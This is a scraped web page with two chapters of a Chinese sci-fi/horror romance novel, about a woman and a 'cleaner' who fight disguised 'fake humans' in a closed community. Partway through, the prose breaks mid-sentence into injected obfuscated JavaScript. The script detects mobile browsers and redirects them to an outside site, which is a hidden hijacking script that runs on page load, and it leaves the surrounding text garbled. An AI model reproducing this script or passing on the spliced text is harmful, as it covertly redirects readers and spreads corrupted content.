zcw533措手不迭站好,敬礼,“报告指挥官,发现紧急情况,员工宿舍发现伪人疑似活动,且有一具已宣告死亡的张晓亚干尸,嫌疑人已逮捕,尚不明确伪人属性。” 游骋说了句‘知道了’转身离开。 这到底是在意还是不在意?说不准。 电梯里,游骋盯着不断跳跃的数字楼层,身旁同搭这趟电梯的清理者噤若寒蝉,揣测头儿为什么事烦恼困扰。 每一个居民到智核社区登记,都会有一份详细记载其生平及身份证明的档案材料。 纪令闻不是黑户。 相反,她有这份档案。 但游骋没这个权限查看。 最高权限集中归管理员所有,游骋能够访问获取除特级绝密外的全部内容。 特级绝密是最重要的社区机密,泄露会使社区的安全遭受极其严重的损害,没有管理员身份无法管理,总共一只手能数得过来。 纪令闻作为一个普通居民,她的身份竟然被归拢到特级绝密。 “头儿,是要去看看那个嫌疑人?” 游骋回神,看着已经敞开的电梯门,朝跟他说话的清理者微微颔首,抬脚往外走,不知怎么有些意兴阑珊。 特级密档。 亲眼目睹她的档案,其趣味性是其他方式无法比拟的。 纪令闻…… 游骋将这三个字碾在唇齿间反复研磨。 这两天考勤抓得紧,三天没去看游骋,是为避嫌,纪令闻也有点过意不去,兑换点礼品打算去他分配的那套私宅瞧瞧。 门没锁,半掩着,透过细窄门缝,忽然传来哗哗的水声。 伤没好就洗澡? 纪令闻不好再想,顺手把门关上,过了没多久水声停了,这时候响起低缓的嗓声:“浴巾挂把手上,出去。” 23. 第 23 章 那声音听起来像是还没痊愈。 门口显眼的位置陈列着叠得整整齐齐的浴巾。 见游骋误认了她,纪令闻把浴巾搭在门把手上,还用指关节轻叩了三下门。 结果下一秒,门直接从里面打开,纪令闻脚下一滑,整个人措不及防地摔进去了。 突然从明亮中切换昏暗的空间,一时间难以适应。 浴室内水汽缭绕,只开了一盏昏黄照灯,瓷砖上的水珠滴落到发顶,淋浴喷头映入眼帘,似乎还冒着蒸腾热气,纪令闻还没抬眼,就愣住了。 游骋拿起沐浴露,挤出适量搓出泡沫后均匀涂抹全身,听见声响,他戒备地扫了一眼声音来源,目光在纪令闻脸上定格了一瞬。 难怪他留个门要浴巾——他正在洗澡。 纪令闻偏转视线,就见游骋的头发被水打湿,单手在额头和脸颊上,浴巾是随手抓着裹在腰上的,只能堪堪遮挡住重要部位,还有小腿露在外头更是紧实有力。 也是到了这个时候,喉结、肩膀、腹肌都暴露在她的视线当中。 然而尽管光线朦胧,纪令闻依旧能分辨出,背部宽阔厚实、沟壑分明,分布着无数条深深的疤痕,旧伤未愈又添新伤,如墨水般附着在肌肤表面,色墨相渗。 在氤氲中,在他肩背被晕染成了极简的黑色与留白,悄然铺展。 纪令闻的感受只能用极度吃惊来形容。 游骋讲过,他只负责清理伪人,管理是管理员的工作。可这些深彻入骨的墨线,究竟有着怎样的故事?难道他曾在过生死边缘徘徊? 再仔细一看,那些伤疤几乎以艺术性的方式,有秩序地排列着,像流动的纹理一样沿着他那只机械义肢涌动,而右边则较为稀疏。 不过纪令闻没细想,面前人瞬间恢复往常的表情,快得让人以为刚才的一幕是错觉。 “你什么时候来的?”游骋视线自上而下,似乎对这样的事情习以为常,全程处变不惊。 他说的不是‘你怎么来了’,而是‘你什么时候来的’,这样的问法,让她听起来自己被当做成了偷窥狂。 纪令闻以为他还没洗完,着急清洗泡沫,赶紧抬脚往外走。 却不想擦肩而过的瞬间,他直接将她拦住。 “去哪儿?你衣服都湿了。” 这句话像是提醒,吐息落在她耳廓,带着某种奇怪的意味。 游骋的咬字加重了读音,纪令闻尴尬,赶紧低下头一看,她的衣服浸湿了一大片,里衣毫无保留地透了出来。 她不得不拢紧了身上的恒温服。 她却死活挣脱不开,他的手就像藤条缠绕在她手腕间,只好通情达理地说:“你这没我换洗的衣服。不是没洗完?你继续。” “你在这儿我还怎么洗?” 游骋几块匀称且结实的腹肌明晃晃地映在跟前,像是故意作对似的,她越退他越进。 纪令闻:“……” 难道要她湿着衣服待到他洗完才合理? 纪令闻暗想,面上不想跟他纠结下去,指了指旁边的粗砂搓澡布,“你要是觉得不方便,我也可以给你搓背。” “也行。”游骋没讨价还价,转头就将搓澡布送到她手里。 纪令闻也就是随口一说,谁知道他当真了,“我去叫你两位下属过来。” 还真敢说。 他的目光隔着一层水汽,真假参半落在她身上。 片刻后,喉结无声上下滚动。 “衣服我先借你,记得用完归还。壁橱里的衣服你随便挑。”游骋闷笑,心情似乎上了一个层次。 态度明显是拒绝的,但人已经摆好姿势等着搓澡。 其实她不想帮他搓澡,不过看他都准备好了,很难开口拒绝。 纪令闻看他一眼,索性也没什么抹不开面的了,当着他的面拧开花洒,把他身上的泡沫冲掉了,对准那些墨线猛地叠加力道。 搓不掉。 还是搓不掉。 游骋后背没什么灰,所谓搓灰,不过是想要刺探情况,她暗自庆幸没做出多余的动作,要不然那一下还真要命。 浴室中氧气稀薄,纪令闻似乎能感觉到男人身上散发出的微微热气,而掌心,在触碰到那些墨线的时候,两者竟然产生了奇妙的融合,仿佛被激活了。 紧接着掌心浮现出了全新的文字。 『我正在看着你。』 纹路上的字迹就像摸黑写出的,每一笔都显得那么随意和凌乱,却不影响阅读。 除此之外,并没有出现上次那样充满矛盾的前言。 这是什么意思? 纪令闻失神地看着掌心上的文字,目光犹如一个深不见底的漩涡,过了良久才找回自己的意识,想了想,问:“游骋,你是不是早就认识我?” 游骋头没抬,说出的话却正经,好似洞察了她的远水解不了近渴。 “令闻,这么久了,你就没印象吗?” 这话乍一听就提神,再一品更让人用上头,好像她擅自将他从记忆中抹去一样,格外刺骨。 身体的反应是骗不了人的。 可纪令闻不得要领,没再有所顾忌,不管不顾地说:“在你出现在我家那天,我的掌心出现了一些文字。就在刚才,在碰到你背上的墨线后,重新显现了。你说这是为什么?” 她在讲述时略去了细节部分,但整个事件的真实性毋庸置疑。 大脑内外之间似乎横隔着一段难以道破的空白,仿若雾霭覆盖。 纪令闻将手伸展到他眼前,露出掌心纹路上的文字,心里也没底,生怕他不信,但她不擅长讲述那些煽情的话,就突然卡住了:“你看……我说到都是真的。” 游骋似有些触动,但注意力没在她手上停留太久。那意思是不想多说? 一阵突如其来的天旋地转,紧接着她就被迫离开了浴室。 纪令闻再次查看,彼时手掌空空如也,无事发生。似乎只有她具备这种视角。 游骋拒绝她的回答,明显是无情的,不留余地的。 这,就不得不提‘祂’了。只有纪令闻能感知到的存在必定有猫腻,还能有什么猫腻?还有谁能操控她的精神和意志?感觉其中可能存在着一些逻辑上的漏洞或矛盾。 ‘祂’指代天上的那颗枷锁心脏。 在整本大事记中只有极少的提及,但是‘祂’更像虚构的产物,很可能是被创造出来限制纪令闻的,十之八九无法直接杀死她,只能采取削弱她能力方式,模糊本我自我的概念来达到目的。 自我意识不完整,自然就没有夺取精神主导地位的本事,只能被动,坐以待毙。 这一点尚且存疑。因为从已知的信息来看,‘祂’似乎与整体情况不太相符。 失忆前,她的真实身份究竟是什么? 这一切是随机发生还是有人暗中操纵? 目的是什么? 让她自寻短见吗? 那么,这个掌心文字的提示是来自‘祂’吗? 纪令闻可以有自己的答案。 · 或许是因为认床,纪令闻睡得不深,忽地自己又惊醒了。 床尾有盏夜灯,昏黄又柔和的一小光团,将庞然大物的身影映照得像是被镀了层釉色,恍惚而潋滟。 两眼要睁不闭时,纪令闻似乎看到游骋穿一身家居服坐在单人沙发上,双腿交叠着又在开视频会议。 她正要起身确认自己是否看错,一转头,却感受身旁的床垫凹陷了下去,接着被子微微扯动,一个浑身带着温度的男人躺在了自己身旁。 什么啊…… 纪令闻被惊得困意全无,冷汗都冒出来了,她想翻身又被拉回去,看着他近在咫尺的侧脸。 是游骋。 什么时候这家伙躺她床上来了? 啊,更正一下,是他的床。 游骋呼吸安稳舒缓,阖目倦怠半躺着,细密的睫毛覆盖其上,没再有任何动静,像是睡着了。被子只盖住了身体的二分之一。 可即便睡觉的时候,他眉宇间也有道浅浅的折痕,仿佛有什么东西让他无法彻底安心。 实打实得纪令闻都有些无所适从。 生物钟叫醒,游骋先起床了,面无表情地放空了几秒,随即伸手,摸了摸旁边早已冰凉的被褥。 昨晚他疲惫至极,一倒头就睡熟了,完全忽略了躺在身边的纪令闻。 客厅茶几上还放着两盒礼品,没拆封。 她走了? 纪令闻确实是走一步,再次醒来时,旁边有个人她睡不着,马上看向墙上的全息时钟,还来得及。 员工体检开始之前,在礼堂有一个讲座,听不听倒是次要,但必须签到。 纪令闻想起昨天游骋说的,壁橱里的衣服她随便挑,本以为都是些男款,没想到里面还有女款,各种款式,应有进有。风格却很统一,是那种利落感,崭新的。 疑惑间,时间已经不够了,她随手选了个换上。 拧开水龙头,匆忙抹了把脸,感觉轻快不少。走出公寓,一抬头,却见zcw533和tyz478因震惊而僵硬的表情,眼睛瞪得比铜铃还大。 zcw533:== tyz478:oO zcw533处理完干尸,需要第一时间向上级汇报,于是和同事在看到头儿关闭视频会议后,心都要提到嗓子眼,以为有什么惊天动地的大事即将发生。 打了个哈欠着急去签到的纪令闻看向他俩,不失礼貌地打着招呼:“又见面了。” zcw533不敢轻举妄动,刚想说他是来找头儿的,却见tyz478已经先行进入公寓跟头儿交接去了,只能模棱两可地应了声响。 zcw533:你个工贼又抢在我前面! tyz478:人家在跟你打招呼,客气点。 看了眼勺戒上的时间,纪令闻也没那么急了,反正都要迟到了。 她不紧不慢跟在zcw533身后,“你叫什么名字?” “什么?” “认识这么久,我只知道你的工号。是人都有名字,突然就想问问你的。” zcw533也不知道她这句‘认识这么久’是从哪总结出的,但看在头儿表妹的头衔上告诉她俩字:“保密。” “你们也会工作考核指标吗?”纪令闻也不恼。 zcw533思考能不能回答这个问题后,这才说:“在这里不管是谁,只要上班都会有工作考核指标的要求。” “比如?”纪令闻说话一贯带着循循善诱,听得人很想解惑指明方向。 不知道纪令闻搞什么名堂,反正zcw533认真地想了想,回答:“清理一个伪人,奖励四千工时,是否遵守社区规章制度等等,很严格。” 纪令闻不是很意外,“这样啊。” 她三步并作两步,悄然走到他身边,低声问:“那管理员的权限有多大,会因为绩效不达标做出惩罚吗?” “到目前为止,你们的工作难道从未出过差错,或者搞砸的例子?” zcw533瞳孔大地震,对她的字字珠玑充满震惊,对此的回应是:“你无权干涉,再问显然多余,这不是你应该了解的事。” “快走,讲座马上就要开始了,跑起来。” 望着突然加速的zcw533,纪令闻立刻跟着一起跑起来。 纪令闻踩点赶到礼堂,却在打卡机查询到,她已经签到了。虽然不明所以,但讲座已经开始有一会儿了,她从后面溜进来跟两个室友报了平安。 简单说完黑市事情的经过,回避了跟游骋同床共枕,纪令闻在座位上又一次吸纳了她俩传授的教训—— 规则是必须要遵循的。 请确保自己的行为符合规则。 聪明人都知道要遵守尊则,但具体怎么操作,对生存有多大助益,就不好界定了。 纪令闻始终认为,规则就是筛选听话的人,存在是为了被遵守。 不巧,她不听话。 “令闻姐,你实在太勇了,脑子就是好用,但你的腿脚功夫真有两下子。”郑嘉树攥拳抵住嘴唇夸夸,“要是我拜你为师就好了。” 面对他的拜师请求,两个室友相视无言。 还是纪令闻王顾左右而言他:“对了,这节讲座讲到哪里了?” “年年都是老样子,走个流程而已,大家都不会认真听。”安柏也不会扯谎,示意她看向台上侃侃而谈的讲师:“十多分钟还在讲气温对人体的影响,对自我意识只字不提。” 纪令闻按着眉心:“这个讲师不是医务室出的人吧?” 李宝嘉看出了纪令闻的意思,让她别管那些有的没的,最好关注一下自己的精神指数。 这是早晚的事。 临时抱佛脚是没用的。 在宽敞的讲台上,那位讲师正滔滔不绝地讲述着,他的言辞中夹杂着大量的口语化表达与专业名词,这样的混搭初听起来似乎颇有几分水准,给人一种学识渊博、见解独到的错觉。 然而,仔细品味之下,却不难发现其中的问题所在。 那些所谓的专业名词往往被生硬地嵌入到日常口语之中,没有真正触及到问题的核心,缺乏必要的逻辑衔接和深入阐释,导致整个讲述过程显得支离破碎,难以形成一个完整而连贯的知识体系。 这样的讲述不仅无法让听众真正学到知识,反而可能会误导他们的思维,陷入一种错误的认知误区之中。 但好在,讲师在台上天花乱坠,员工在底下昏昏欲睡。 纪令闻稍一抬眼追平了讲师,沉静眸中带着一丝极端的探究。 早就听说检查站是收益最高的工作场所,纪令闻不至于荣华富贵倒也不用为工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200135|148247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时操心,除非有特殊原因不能缺勤,否则她也会冲着工时上岗。 如果讲座能在结束后发放工时,大家都会打起十二分精神来听。 那她要是不听,难不成还会受惩罚? 讲师像是感应到了似的,点了纪令闻的名:“那么就请这位员工来谈谈,在你看来,生命安全和身心健康哪个更重要。” “这个理论我们在前面讲过,我要求你如实、认真地回答,这也是你尊重讲座、尊重知识的体现。” 后面补充的这句,带着浓重的警告意味。 但纪令闻是开讲十分钟后才从后门溜进来的,一点没听。 礼堂里的气氛顿时变得紧张,所有人的视线都朝着她汇聚,让纪令闻成了最显眼的那个。 安柏和李宝嘉都向纪令闻投去了别逞能的示意,就连郑嘉树也不停地朝她挤眉弄眼暗示,但她却仿佛视而不见。 纪令闻始终沉着冷静,无比自觉地站起身,拉开座椅还自然地说:“生命安全是基础,身心健康是保障,两者相辅相成,无法简单比较。非要评价的话,我认为您狗屁不通。” 最后一句话,直插要害,简直就是让人无法反驳的绝杀。 全场寂然。 众人都被规则驯化成了温顺的羔羊,皆已习惯了循规蹈矩,面对这位敢于打破常规的人,他们只敢在背后议论,却无人敢上前直面其锋芒。 讲师的眼白中红血丝密布,显然对纪令闻的话并不买账,眼中的红血丝如同血网般密布,甚至逐渐吞噬着眼黑的部分。 而那逐渐蔓延的红血丝更像是在警告:再不如实回答,就将彻底失去耐心。 若是挑战权威,将会面临怎样的结果呢? “啪,啪,啪。” 在一片寂静之中,突然响起了清脆的掌声。 纪令闻被声音吸引,朝正门方向望去,意外地看到了一个走进来的男人。 他怎么在这里? 隔离服衣不离身的清理者这次只穿着一套石墨烯面料的保暖常服,样子冷峭。许是不方便行动,只在攻击模式会高温灼烧的机械手臂,指尖猩红五点,有渐渐湮灭的浓烟。 他背对着光,淡淡评价了句:“精彩。” 把讲师气得半死,还不够精彩吗? 游骋带头鼓掌,稀稀落落的掌声这才响起,鼓掌的是安柏、李宝嘉、郑嘉树三个人。 原本受从众心理驱使而鼓掌的人们,在讲师的注视下迅速改变了主意,纷纷把手放了下来。他们缺乏应对此类场合的经验,认为鼓掌会与当前的严肃氛围不合时宜,对自己的轻率举动感到懊悔。 门外陆陆续续又走进来了两拨人,一支清理者,一支则是来自指挥中心的机器助手。 这次员工体检前的讲座,在进来之前大家都默认有事发生,因此心里算得上消极且平静。 讲师原本平静的面容瞬间被激怒所取代,眼神中闪烁着怒火,声音也因情绪的波动而提高了几分。 “你,现在就给我滚出去!” 这句话如同锋利的刀刃,划破了原本还算和谐的课堂氛围,讲师的语气中充满了不容置疑,仿佛是在下达一道不可违抗的命令。 整个礼堂的气氛瞬间凝固,所有员工都屏息以待,不敢发出半点声响。 讲师的呵斥对纪令闻来说仿佛是耳边风,只是随意地摆弄了一下耳边的头发,便毫不犹豫地朝讲台走去。 非但没滚,还上了讲台,抢了麦克风。 讲师不可避免被纪令闻挤到一边,脸色骤然阴沉下来,“你知不知道你这是在做什么?” 纪令闻没有回答这个问题,反而是给出自己的问题:“社区聘请你就是为了吐口水吗?这工时也好赚了吧。” 麦克风的音量被调至最大,清晰而有力地穿透每个人的耳膜,将纪令闻的话语传遍教室的每一个角落。 全场轰然。 讲师双眼仿佛能喷出火来,用力地拍了一下讲台,被激怒后暴露原型。 它的脑袋仿佛失去了重力的束缚,如同磁悬浮列车般不可思议地漂浮在细弱的脖颈之上,带着一种超现实且诡异的气息,径直地、毫不迟疑地朝着纪令闻所在的方向猛烈攻击而去。 这种违背常理的姿态,让在场的所有人都惊得目瞪口呆,仿佛目睹了一场不可思议的幻象,纷纷逃窜。 纪令闻一个闪身拐进席位,抬头就是刚从人群挤过来的游骋。 “你是怎么发现它不对劲的?” “直觉。” 话不算错。 不过是游骋先起的头。 就在刚才,纪令闻能清晰地感觉到一股炽热的能量从身体某处开始,迅速而猛烈地扩散开来,如同烈火燎原般席卷全身,带来一种强烈到几乎让人窒息的灼热感。 这股热量一般不会失误,每次面临伪人都像个雷达,准确识别。仿佛点燃了她体内的每一个细胞,让她不由自主地颤抖,心跳也随之加速。 干尸的事,张晓亚一口咬定不知道,积极配合调查,但先前张晓亚的死讯已经人尽皆知,管理层不可能放任不管,让流言扩散更广。 ‘张晓亚’必死。 只不过还没等清理者出动,‘张晓亚’已经消失在社区,当她改头换面出现在讲台,纪令闻感受到那股波动,再加上那驴头不对马嘴的发言,才确信这个伪人就是‘张晓亚’。 纪令闻不会因为这个就认为自己是无所不能的。她深知这并非什么神奇的金手指,只是巧合罢了。 游骋站在她身前,双手抱臂,在她与人群之间形成一道屏障。 他只这样说:“这可是乙级。” “应该说,比甲级还要有智慧。” 隐藏的话他没说,纪令闻虽然有想追问但新一轮的攻势已起,她的脑子提醒她应该优先保全生命。 跟瞄准了她似的。 纪令闻暂时还摸不清,这磁悬浮脑袋到底是靠什么锁定目标,就已经见它奋不顾身地撞了上来。情急之下,托举起游骋那只机械手臂,以平和的口味开口说:“开炮发射。” 她总共接触没几天,跟他的手也没有很熟。 不熟就不熟在,纪令闻的声音既不威慑,也不带有命令,全然坦诚。 几乎同一时间,机械手臂以精准无误的动作响应指令,缓缓伸展至电磁炮的装载位置,其末端夹持器紧紧锁定炮弹,万无一失。 随着控制系统发出发射信号,机械手臂迅速而平稳地将炮弹推送至炮膛深处,随即撤回至安全位置。与此同时,电磁炮系统激活,强大的电磁脉冲瞬间在炮管内构建,将炮弹以惊人的速度弹射而出,划破空气,直击目标。 那颗磁悬浮头险险躲开,却被追踪。 惊诧的不止有姗姗来迟的zcw533和tyz478。 游骋眼睫微垂,眼眸黑沉沉的流转微光,惊艳到底。 24. 第 24 章 在那一刻,时间仿佛凝固,电磁炮释放出积蓄已久的光波,犹如一道闪电划破天际携带轰鸣和光芒直击目标。 磁悬浮脑袋在这股无法抗拒的冲击力下,如同被无形之手猛地摘下,高高地抛向半空。在那一刻,它的面容扭曲,看向纪令闻的方向,满眼都流露出不可置信。 紧接着,瞬间爆裂开来,宛如一颗熟透的果实被重压,脑浆四溢,如同绽放的烟花。那些白色的、粘稠的物质在空中散落,最终化为微小的飞沫,随风飘散,连一点渣滓都不剩。 周围的一切仿佛都静止了,只有空气中那股刺鼻的血腥味,慢慢地在空气中飘散开来,提醒着人们这场危机是真实发生的。 机械手臂的威力,在这一刻展现得淋漓尽致,让人对游骋心生敬畏,起到了一个杀鸡儆猴的作用。 毕竟,谁也不会拿自己的生命开玩笑,挑战未知。 相较于游骋的情绪不外漏,zcw533和tyz478只看了一眼,便默默地承担起收拾残局的任务,各自扛起一个身首异处的躯体的胳膊腿往外走。 走出礼堂的时候还低声发牢骚:“怎么这么重啊,早知道就一并炸了省事儿。” 听见他们这些话,在场人都不由自主按住心脏,疑惑又惊恐地问:“清理者为什么总避开我们清理伪人?这感觉让人太不安了。” 胆子大的跟着清理者小队出了礼堂,却在看见他们走进几根大烟囱旁停下脚步,立刻冲上前,心理防线崩堤地质问准备抛尸的zcw533:“为什么你们不现场处理伪人?” “这东西得丢到焚化炉里,会有人处理的。” 不像假的,核电站内设有用于处理废弃物的焚化炉。 听完他说的这些话,有人再也忍不住心中的疑惑,开始提出阴谋论,甚至怀疑起伪人是否确有实体。 当然,这是不可声张的。 在紧急措施的采取下,大量聚集的人群在指挥下被平稳地疏散到安全区域,逐渐散去。 且不论伪人是否被人道毁灭,就说躯体在火中化为灰烬,随之而起的浓烟从烟囱中袅袅升起,难道不是更诡异吗? zcw533侧头夸了纪令闻一句:“深藏不漏啊,表妹。” 刚说完,就收获一记眼刀,来自上司的凝视。 他们怕归怕游骋,总觉得他就算面带微笑也不意味真诚和亲近,于是他们眼睛聋了,耳朵瞎了,听不见了,看不清了。 纪令闻也不知道自己怎么驱动机械手臂AI的。 当时,一个强烈的念头主导了她的思维,她只是本能地遵循它。 她始终觉得关于游骋所掌握的一切信息,都和自己又着某种联系,不是错觉。 “你做得很好,但行事低调些更为稳妥。另外,这件事你为什么没跟我商量?” 刚升起来的猜想被游骋的兴师问罪打消了。 即便纪令闻心里依旧压着块石头,但她还是强压下那股感觉,抬手挡了挡光线,温吞说:“我不想连累你。” 游骋眼睛有一瞬间失神。 似乎没想到,她会得出这样的结论。 说来很离奇,短暂几秒内,纪令闻确实看见好几种复杂的情绪从他眼底翻涌直上。 困惑,纠结,紧张……她翕动了下嘴唇,正想着要不要再说些什么。下一秒,游骋步伐加速,去旁边接了通电话。 他越来越忙了。 不知道电话那边的人说了什么,游骋转头深深看了她一眼。 而后说了句:“我明白。” 纪令闻敏锐察觉到他语气的变化,心口微微揪紧,下意识往后退,后背抵住冰凉的路灯杆,才让她觉得有点踏实感。 好像能嗅到社区即将发生变化的气息。 这时广播突然传来强制性的指令,要求所有员工前往医务室接受体检,不得延误。 根据手册规则,医务室的开放时段被限定在19:00之前,明确说明是安全屋。而医务人员的种种反常行为,似乎都在为某个见不得光的秘密打掩护。 那会是什么呢? 纪令闻想会会这个体检已经很久了,她正打算迈步融入人群,耳边却响起一个不紧不慢、略显疏淡的声线。 “纪令闻。” 游骋收了AI,转过身,就站在与她隔着三步距离的地方。 他的语气很清,是真的在叫她的全名。 指尖残存烟雾一点点弥漫到纪令闻这边,将她笼住,像是把她圈进了自己的领域。 正整理思路的纪令闻抬头:“怎么了?” 片刻,只听到游骋笃定地问:“你还有什么事瞒着我?” 此刻,冷白的光线落在他的脸上,显得格外冷酷无情,当下他的审视更是压迫,像是非问出个好歹不可。 纪令闻微微拧眉,被这突如其来、毫无铺垫的询问弄得一时语塞。 很快,她反问道:“你对我,难道就能心安理得,无愧于心吗?” 游骋沉默,再次开口:“我很好奇,你会为了什么急迫到每天打卡上班。” 纪令闻不知道游骋的目的,她凝视着他的眼睛,分不清是理性独占鳖头,还是感性更胜一筹,视线偏离了。 她提起一口气,深浅不一地呼吸着,这个时候显然不能太实在。 “我想重拾那些遗落的记忆,就这么简单。” 倒也说到了点子上。 把握‘我是我’的身份认同是头等大事。 “你不愿意做的事,会有别人替你做。”游骋走两步,听语气像是随口一说。 zcw533挠了挠后脑勺,怎么感觉这话指向性这么强呢? 纪令闻愣怔了一下。 她其实没有对游骋抱太大希望,毕竟背叛是常有的事,达成交易,中途难免会变卦。 她没想到,游骋竟然肯帮她。 也许是利用价值吧?利用她这个所谓表妹,这也方便摆脱社区的控制。 这个猜想刚冒出头,就被纪令闻摁了下去,因为太不合理了。游骋跟管理员说话的神情语气,都没那么低声下气,甚至还透露出几分破釜沉舟的感觉。 一点都不像他们毫无渊源的模样。 心不在焉地想着,纪令闻视线略有延迟又一言不发地收了回去,从游骋那句话里读懂了他深层的意思。 礼堂事件影响恶劣,过去几年还从未有过这么严重的事故,涉及人员均停职、免职,又是大换血,总之清理者有的忙了。zcw533恭谨地表示,自己有事得先走。 tyz478跟着同事一道离开,擦肩而过时,目光似有若无地扫了纪令闻一眼。 播报响起第二遍:“请全体员工就位医务室。”是在下最后通牒。 正好,纪令闻的勺戒震动,弹出来点显示界面。 游骋垂眸,看到屏幕上跳跃的名字,在纪令闻企图夺回主权前,钳制住她的手。纪令闻挣脱不开他,电话接通,游骋按下了免提。 郑嘉树先开腔:“令闻?” 游骋微不可察嗯了一声,算是答应。 “医务室人特多,我已经帮你排好队了,现在赶紧过来吧。” 纪令闻的手被游骋控制着,根本没法回应,她的视线飘了过去,想应声来着,被游骋的一句“我的话你不会听”给堵了回去。 还真是一说一个准。 纪令闻剥离视线,看了眼右上角的时间,她双手抵着他的肩,企图避开桎梏,布料相碰在一起的声响窸窸窣窣,扰得她鼻窦发紧。 这点细微的声音并不会传到郑嘉树耳朵里,他保持着应有的社交距离继续说:“安柏和李宝嘉都在等你。” 在这种时候有必要遮掩吗?显然没有。于是纪令闻张嘴咬住游骋食指关节。 瞄准原装手去的。 游骋顿了一下,撤开在她身上的限制。 这个带着私人恩怨的桎梏持续时间很短,就像游轮撞上大冰山的瞬间,但后劲很足。 起码疼是真的。 纪令闻趁机弓起身,从他机械臂下钻出,对郑嘉树说:“行,我马上到。” 电话挂断。 游骋原本要说的话就那么卡在了嗓子眼,转而道:“我陪你去。” 是公事公办的语气。 纪令闻斟酌了下反驳道:“可是清理者不包含在内。” “我也是社区居民。”游骋意有所指地回她,“既然你是我带来的,那我就得对你负责到底。” 负责。 纪令闻噎了下,也不知道他对她有什么责。 出门至今他给予她的关照已经远远超出了正常范畴,但这种过度的关照反而让她觉得他在掩盖什么,仿佛对她有所亏欠。 游骋这人,似乎浑身都是故事。 纪令闻到现在才觉得跟他熟了点。 游骋话总说一半的习惯根深蒂固,又带着几分刻意,好像窥不见他真正的性格,就算他乐意袒露细节,什么话都能接两句。 但要交心托底把自我示人,又太虚。 医务室人满为患,排队的队伍从入口一直蜿蜒到了走廊尽头。护士脚不沾地地在人群中穿梭,喊着下一个人的名字,尽力维持秩序。 “请大家耐心等待,本次体检以抽检方式为主,不会耽误太久。” 抽检,顾名思义是通过随机抽取来进行检查。 这么一来,个人的运气好坏就成了决定性的因素。 而且抽检的随机性很大,若是社区所有员工都轮一遍,光是处理提取就需要耗费大量人力物力。 更别说还有蒙混过关的。 但即便如此,等待的时间依旧漫长。 抽检宣布开始后,每个人的姓名和工号都在抽检系统的视觉面板上以惊人的速度一闪而过,结束界面,显示抽选人员信息。 被抽中的姓名和工号以卡片形式自内而外飞出,由远及近快速推进,最终以5D立体视觉回归屏幕底部滚动,展示场面非常震撼。 并非每个人都有兴致欣赏。 居民或站或坐,有的焦急地望着紧闭的诊室,不时抬头看看墙上的机械复古时钟。有的轻声交谈,询问彼此的精神状况,试图通过这种方式来分散注意力,缓解焦虑。 被选中的人则认命般跟随护士指引,通过体检的从侧方走出,没通过的则再也没出来。 郑嘉树帮排的这支队伍加上她一共七名员工。 四女三男。 其中一个穿着前卫,发型梳到脑后,一脸小领导样的男人眼睛贼溜溜的,跟坐着他旁边的女生你侬我侬地说着什么,额头上的一道伤痕很明显,当他吹嘘自己执行任务时英勇受伤时,那女生立刻满眼崇拜地看着他冒星星。 滑头男二话不说,当即把人拥入怀中热吻,丝毫不在意旁人嫌弃目光。 另外除去安柏和李宝嘉两个熟人,还有个女生看着不是爱说话的,即便是现场八卦也未能让她对小情侣产生波澜。 后面离他们不远不近的男人头发已经很久没有修剪了,长长的发丝几乎要覆盖住整张脸,只留下眼睛周围的一点点空隙,给人一种神秘而颓废的感觉。 剩下几个男的,能获取到的信息量少得可怜。 纪令闻也不是很想参与这些,她跟室友打了声招呼,安柏和李宝嘉的表情都不太轻松,尤其是李宝嘉的数值已经跌破正常阈值。 她隐隐察觉出,员工体检不过关将承受严重后果。 正思考时,背后传来一道陌生的声音:“你就是纪令闻吧,我记得你,我们在日光节见过的。” 攀谈上来的人是那个滑头男,纪令闻一点印象都没有,也就没说话。 “我是水处理室的刘正许,现在事业正在上升期,认识一下不吃亏。”刘正许自信满满地伸出手,故意自报家门,“怎么样?” “我有信心,我们绝对会是最有默契的队友。” 员工体检还要组队? 纪令闻扫了一眼他悬在半空的手,又越过他看向视觉面板滚动的名字,没再问别的,只说:“你身边不是有个现成的吗?” 女生直勾勾盯着纪令闻,那眼神中既有敌意也有不甘,像是在防范情敌。 “她吗?你误会了。”刘正许卖弄地笑了笑,“她只是太崇拜我了而已,我们这种男人在女人堆里都是香饽饽。” 这话一出口,连那个沉默女生都忍不住抬头看过去。 “哦,这样啊。”纪令闻挑眉。 刘正许端详纪令闻的正脸,咧嘴一笑:“看你喽小美女,你长得耐看,听你的。” 这男的油得可以去食堂兼职当油壶了,纪令闻不想被纠缠,随便扯了个问题抛过去。 “如果你只会扯皮,那我们确实没什么好说的。” 她也不怯场,只用那双空洞深邃的杏核眼迎上,直至把对面盯得感到不适,笑容难以维持。 刘正许调整片刻,强撑嘴角的笑容,伸出的手并没因被无视而尴尬收回。 “别介,你是新人,还不知道体检的项目吧。看在你表哥的面子上,我就大发慈悲地告诉你,体检分为基因分析、身体改造检查、网络安全扫描、生物监测指标、心理评估五个项目,精神指数越低顺序就越靠前。” 纪令闻眉目未动,缄默地回味着这一段话,她第一次觉得游骋是她表哥这个身份添堵。 这组队邀请,实在过于凑巧,凑巧得让人怀疑是刻意安排,是别有用心。 “正许!”一直在暗中观察的女生忍不住,迅速走到他身边,牵起他向纪令闻伸出的手,“算了,她不加入,我跟你一起组。” “你俩挺般配。”纪令闻说。 刘正许对自己的外貌条件深信不疑,也精通怎样的话术能打动异性的心。 可就在他使出浑身解数把自个儿所有魅力都散发个遍后,这个女人不仅置若罔闻,还装模作样地敷衍,此刻那种玩忽的感觉更加强烈,眉眼间的怠慢像翻了倍。 不识好歹。 “打扰了。”纪令闻恹恹地看向安柏她们,问:“你们谁带洗洁精了?” 李宝嘉用中指往上推了推黑框眼镜,无声胜有声。 郑嘉树很茫然,完全不明白纪令闻话中的含义,跟拨浪鼓似的摇了摇头,人很实诚地说:“谁没事带那玩意儿,随时随地刷碗吗?” 安柏是第一个被逗乐的,发出爆笑,其他人则带着戏谑的表情,目光一致地看向刘正许。 